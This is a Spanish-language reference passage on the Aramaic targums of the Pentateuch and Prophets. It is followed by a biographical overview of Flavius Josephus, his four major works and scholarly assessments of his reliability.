Otro tárgum del Pentateuco que es bien conocido es el del Seudo-Jonatán, llamado así porque se le atribuyó erróneamente a Jonatán ben Uzziel, el más distinguido alumno de Hillel; y también se le da el nombre de Yerushalmi I, pues fue compuesto en Palestina quizá después del siglo VII. Es una traducción con mucha paráfrasis que introduce varias ideas legales y filosóficas.

Otro tárgum palestino parafrástico del Pentateuco es el Yerushalmi II, también llamado Tárgum Fragmentario porque sólo se han conservado porciones de él. El tárgum de los profetas que mejor se conserva lleva el nombre de Jonatán, pero los eruditos han encontrado evidencias de que fue preparado en Babilonia por el rabino José en el siglo IV d. C.

Los tárgumes de los “escritos” – la tercera sección de la Biblia hebrea – aparecieron mucho más tarde. Parece que nunca se escribieron tárgumes de los libros de Daniel, Esdras y Nehemías.

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Enlaces externos:

Jewish Encyclopedia – TARGUM

Pentateuchal Targumim: Targum Pseudo-Jonathan/Targum Onkelos

Josefo

La Septuaginta (LXX), Filón y Josefo

Josefo

Flavio Josefo, el escritor judío más conocido y más ampliamente citado de este período, fue sacerdote, erudito, oficial del ejército por accidente, e historiador de gran importancia. Nació alrededor del año 37 d. C. de una noble familia sacerdotal de Jerusalén, y decía que era de ascendencia asmonea. Después de familiarizarse con las tres sectas judías más importantes de sus días -fariseos, saduceos y esenios- se hizo fariseo a los 22 ó 23 años.  Cuatro años más tarde fue a Roma donde intercedió en vano por algunos, judíos que habían caído en desgracia con Félix, el procurador de Palestina.

Supuesto retrato romano de Flavio Josefo – Scanned from a copy of Josephus’ ‘The Jewish War’ dated 1888

Mientras estaba en Roma quedó tan impresionado con el poderío del imperio, que cuando la gran revolución de los años 66-73 d. C. estaba a punto de estallar, Josefo, como Herodes Agripa II, procuró con todo fervor convencer a los judíos de la inutilidad de rebelarse contra Roma. Era en realidad un conservador que, por principio, se oponía a una revolución. Pero los judíos rechazaron el consejo de Josefo por lo que, cuando tenía unos 30 años, se vio implicado en la revolución que culminó con la destrucción de Jerusalén. Cuando los judíos lo nombraron gobernador de Galilea, encabezó lastropas de esa provincia contra los romanos, pero fue derrotado, capturado y retenido como prisionero durante dos años. Cuando Josefo fue llevado ante el general romano Vespasiano, profetizó que este general llegaría a ser emperador; y cuando en el año 69 d. C. Vespasiano fue elegido emperador por sus tropas, Josefo fue puesto en libertad bajo palabra. Como tributo a la protección del emperador, Josefo tomó el nombre de Flavio, que era el nombre de la familia de Vespasiano. Los romanos lo enviaron como emisario ante los judíos revolucionarios antes de la destrucción de Jerusalén, a fin de inducirlos a que se rindieran. Cumplió su misión con buena voluntad, pero sin éxito.

Josefo vivió en Roma la mayor parte del resto de su vida. Allí recibió una pensión y la ciudadanía romana, así como el obsequio de una propiedad en Judea. Dedicó la última mitad de su vida a escribir. Durante ese tiempo produjo cuatro obras principales:

Guerra de los judíos. Es la más antigua de las obras históricas de Josefo. Fue escrita primero en arameo y después fue traducida al griego por peritos lingüísticos bajo su supervisión. Tan sólo ha quedado la traducción griega. La escribió alrededor del año 79 d. C. y consta de siete libros. Narra la historia de los judíos desde que Antíoco Epífanes tomó a Jerusalén hasta el fin de la gran guerra romana en el año 73 d. C. La primera parte de esta historia se basa principalmente en la obra de Nicolás de Damasco; la segunda parte consiste más o menos de las propias observaciones de Josefo, a las que sin duda añadió elementos que estuvieron a su alcance en los registros de Roma. Al escribir esta obra, Josefo quizá esperaba persuadir a los judíos de Mesopotamia para que no intentaran sublevarse como lo habían hecho sus hermanos de Palestina con trágicas consecuencias.

Antigüedades judaicas. La segunda gran obra de Josefo, escrita durante los años 93 y 94 d. C., es una breve historia del pueblo de Dios desde la creación hasta los comienzos de la guerra romana en el año 66 d. D. La primera parte de esta obra sigue muy de cerca el relato bíblico de acuerdo con la Septuaginta (LXX), aunque a veces Josefo presenta como hechos algunos elementos de las tradiciones de los fariseos. En lo que respecta a la parte de su obra que trata del período que sigue al Antiguo Testamento, Josefo aparentemente usa como fuente 1 Macabeos y los escritos de Polibio, Estrabón y Nicolás de Damasco. Los resultados testifican de la verdad de su confesión que hacia el final de su obra se sentía cansado de su tarea. En Antigüedades se hace referencia a una cantidad de personajes judíos que también aparecen en el Nuevo Testamento, tales como Juan el Bautista (Antigüedades xviii. 5. 2), Santiago, el hermano del Señor (Id. xx. 9. 1) y Judas el galileo (Id. xviii. l. 6). También hay un párrafo (Id. xviii. 3. 3) en donde Jesús de Nazaret es descrito en términos sumamente favorables, con una referencia a su crucifixión y resurrección. Ese pasaje declara acerca de Jesús que “El era [el] Cristo”. El consenso general de los eruditos es que este pasaje contiene interpolaciones cristianas que no expresan el pensar de Josefo mismo.

Contra Apión. Es una defensa de las enseñanzas de los judíos. Apión era un enemigo de los judíos que para Josefo llegó a ser el gentil típico. Refiriéndose a él hace una apología del judaísmo, y puesto que Josefo era fariseo, es esta la clase de judaísmo que defiende. Esta obra también es importante por los fragmentos que conserva de los escritos perdidos del historiador babilonio Beroso y del historiador egipcio Manetón.

La vida es la autobiografía de Josefo. Fue escrita principalmente como respuesta a un tal justo que había acusado a Josefo de ser el espíritu propulsor de la revolución judía. En toda la obra el autor se presenta como partidario de los romanos, punto de vista. que difícilmente se confirma con su relato de Guerra de los judíos.

Las obras de Josefo han sido muy examinadas por los críticos, y con resultados adversos, pues no estuvo exento de partidarismos. Favoreció a los romanos en contraposición a los judíos rebeldes, y favoreció a los judíos en contraposición a los gentiles. Un proceder tal es comprensible en un escritor que vivió en un tiempo de intensas divisiones; que trató de hacer la apología de un pueblo cuya conducta lo había llevado a la derrota y a quedar subyugado, pero cuyo espíritu aún estaba intacto.

Cuando Josefo en algunos puntos es sometido a la prueba de la arqueología y de escritores menos parciales y que tratan las mismas cuestiones, se descubre que a veces fue descuidado al escribir sobre aspectos históricos. Sin embargo, permanece el hecho de que sin la obra de Josefo habría amplias brechas en el conocimiento que existe no sólo de la historia de los judíos sino también de los romanos. Josefo murió alrededor del año 100 d. C.

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